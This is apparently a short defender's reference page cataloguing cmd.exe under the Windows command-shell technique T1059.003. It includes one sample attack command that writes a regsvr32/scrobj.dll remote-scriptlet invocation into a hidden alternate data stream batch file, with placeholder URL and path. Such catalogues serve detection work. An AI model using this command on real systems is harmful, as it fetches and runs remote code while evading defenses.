T1059.003: Technique T1059.003
Adversaries may leverage living-off-the-land techniques (T1059.003) to achieve execution, evade defenses, or transfer tools.
Total Capable Binaries: 1
•
Windows: 1
•
Linux: 0
•
macOS: 0
Living-off-the-Land Matrix for T1059.003
Across 1 verified binariesWindows4 payloads
Cmd.exe
The command-line interpreter in Windows
Sample Attack Vector:
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point